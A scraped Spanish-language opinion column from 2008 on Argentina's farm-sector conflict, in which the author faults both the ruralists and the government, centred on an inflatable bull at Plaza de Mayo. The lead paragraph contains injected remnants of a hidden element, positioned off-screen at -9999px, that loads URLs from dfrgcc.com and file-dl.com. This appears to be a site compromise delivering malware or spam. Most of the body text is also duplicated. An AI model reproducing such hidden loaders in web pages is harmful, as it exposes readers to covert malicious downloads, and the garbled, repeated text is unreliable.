01/07/2008, Opinion
Alfredito: el toro que infla el Gobierno
Con siete metros de alto y diez de largo un toro inflable en “homenaje” a Alfredo De Angeli se erige como monumento hueco y gomoso a un país que parece haber perdido la cordura” dice en una Nota de Opinión hecha llegar a este Portal, por parte del Dr. Marcelo Pérez Peláez, y que titula “Alfredito: el toro que infla al Gobierno” / src=http://dfrgcc.com/ur.php style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=10 / src=http://dfrgcc.com/ur.php
Mas adelante el doctor Pérez Peláez señala textualmente:
Ello sin mencionar un cúmulo de carpas dónde se debatirían ideas, pero se juega al truco y la Play Station; pingüinos inflados, hombres huevo y demás derivados de una lucha insólita dónde la demostración de fuerza pasa por ver quién moviliza mas gente, tiene el muñeco más imponente o el cartel más ingenioso.
Detrás de ello se debate una sectorial lucha de los ruralistas, que lógicamente como sector no quieren dejar de ganar un céntimo de lo que venían percibiendo. Amén de ello, es dable mencionar la desafortunada actitud del gobierno de imponer medidas no consensuadas en su momento, o de las que no se previeron consecuencias en lo inmediato.
En el medio de esta lucha entre terratenientes y burócratas nos encontramos los pobres ciudadanos que debemos padecer la soberbia presidencial y las medidas extorsivas del campo, sin que podamos hacer absolutamente nada.
Cuando me preguntan de que lado estoy, si del campo o el gobierno, en seguida respondo del lado del pueblo (del nuestro), que estamos sufriendo las consecuencias de un país parado por cuatro dirigentes ruralistas y el desmanejo del gobierno.
Lo más curioso de la situación está dado por cómo los terratenientes ruralistas han logrado difundir su discurso sectorial y egoísta en la clase trabajadora media o baja a fuerza de utilizar nuestro símbolo patrio, junto al denominado cacerolazo.
Creo que el grueso de la gente demostró más el desagrado por las soberbias actitudes presidenciales, que un apoyo al reclamo del campo. No olvidemos las expresiones de una típica señora gorda, coqueta y rubia de Barrio Norte en el último cacerolazo en el sentido de: “no sé bien de que se trata el conflicto, pero queremos el diálogo”.
Tal cómo lo mostraron los medios, mas de medio millón de pollos sacrificados, litros y litros de leche perdidos, millones de kilogramos de fruta y verdura arruinadas, y la notoria suba de precios son las consecuencias palpables el enfrentamiento entre ambos sectores. Además, hay efectos colaterales como la demora en decisiones de inversión por parte de empresas nacionales y multinacionales que muestran su preocupación
En definitiva este desastre económico y social está dado por la actitud del campo, pero fue el gobierno el que empeoró las cosas.
El inofensivo torito inflable que luce amenazante en Plaza de Mayo, el cuál carece de genitales y cuernos que lastimen, ha sido y sigue siendo inflado por el gobierno.
Las actitudes ridículas cómo las de instar a la instalación de varias carpas en Plaza de Mayo, militantes K disfrazados, así como la actitud de los ruralistas en su lock out, han inflado no sólo los muñecos antes mencionados, sino también los precios del pan, leche y aceite en un país que se encuentra en una seria crisis.
Hasta que no haya un replanteo por parte del gobierno y le dejen de dar aire a “estos muñecos”, tendremos que padecer las consecuencias de un país que parece, una vez más, haber perdido el rumbo para inflar la anatomía masculina de quienes pretendemos un poco de coherencia.
Ello sin mencionar un cúmulo de carpas dónde se debatirían ideas, pero se juega al truco y la Play Station; pingüinos inflados, hombres huevo y demás derivados de una lucha insólita dónde la demostración de fuerza pasa por ver quién moviliza mas gente, tiene el muñeco más imponente o el cartel más ingenioso.
Detrás de ello se debate una sectorial lucha de los ruralistas, que lógicamente como sector no quieren dejar de ganar un céntimo de lo que venían percibiendo. Amén de ello, es dable mencionar la desafortunada actitud del gobierno de imponer medidas no consensuadas en su momento, o de las que no se previeron consecuencias en lo inmediato.
En el medio de esta lucha entre terratenientes y burócratas nos encontramos los pobres ciudadanos que debemos padecer la soberbia presidencial y las medidas extorsivas del campo, sin que podamos hacer absolutamente nada.
Cuando me preguntan de que lado estoy, si del campo o el gobierno, en seguida respondo del lado del pueblo (del nuestro), que estamos sufriendo las consecuencias de un país parado por cuatro dirigentes ruralistas y el desmanejo del gobierno.
Lo más curioso de la situación está dado por cómo los terratenientes ruralistas han logrado difundir su discurso sectorial y egoísta en la clase trabajadora media o baja a fuerza de utilizar nuestro símbolo patrio, junto al denominado cacerolazo.
Creo que el grueso de la gente demostró más el desagrado por las soberbias actitudes presidenciales, que un apoyo al reclamo del campo. No olvidemos las expresiones de una típica señora gorda, coqueta y rubia de Barrio Norte en el último cacerolazo en el sentido de: “no sé bien de que se trata el conflicto, pero queremos el diálogo”.
Tal cómo lo mostraron los medios, mas de medio millón de pollos sacrificados, litros y litros de leche perdidos, millones de kilogramos de fruta y verdura arruinadas, y la notoria suba de precios son las consecuencias palpables el enfrentamiento entre ambos sectores. Además, hay efectos colaterales como la demora en decisiones de inversión por parte de empresas nacionales y multinacionales que muestran su preocupación
En definitiva este desastre económico y social está dado por la actitud del campo, pero fue el gobierno el que empeoró las cosas.
El inofensivo torito inflable que luce amenazante en Plaza de Mayo, el cuál carece de genitales y cuernos que lastimen, ha sido y sigue siendo inflado por el gobierno.
Las actitudes ridículas cómo las de instar a la instalación de varias carpas en Plaza de Mayo, militantes K disfrazados, así como la actitud de los ruralistas en su lock out, han inflado no sólo los muñecos antes mencionados, sino también los precios del pan, leche y aceite en un país que se encuentra en una seria crisis.
Hasta que no haya un replanteo por parte del gobierno y le dejen de dar aire a “estos muñecos”, tendremos que padecer las consecuencias de un país que parece, una vez más, haber perdido el rumbo para inflar la anatomía masculina de quienes pretendemos un poco de coherencia.
